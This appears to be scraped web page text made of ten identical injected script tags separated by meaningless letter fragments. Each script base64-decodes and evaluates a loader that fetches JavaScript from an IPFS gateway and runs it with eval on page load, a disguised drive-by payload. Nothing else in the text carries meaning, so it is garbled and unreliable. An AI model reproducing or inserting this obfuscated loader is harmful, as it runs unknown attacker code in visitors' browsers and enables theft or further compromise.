<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah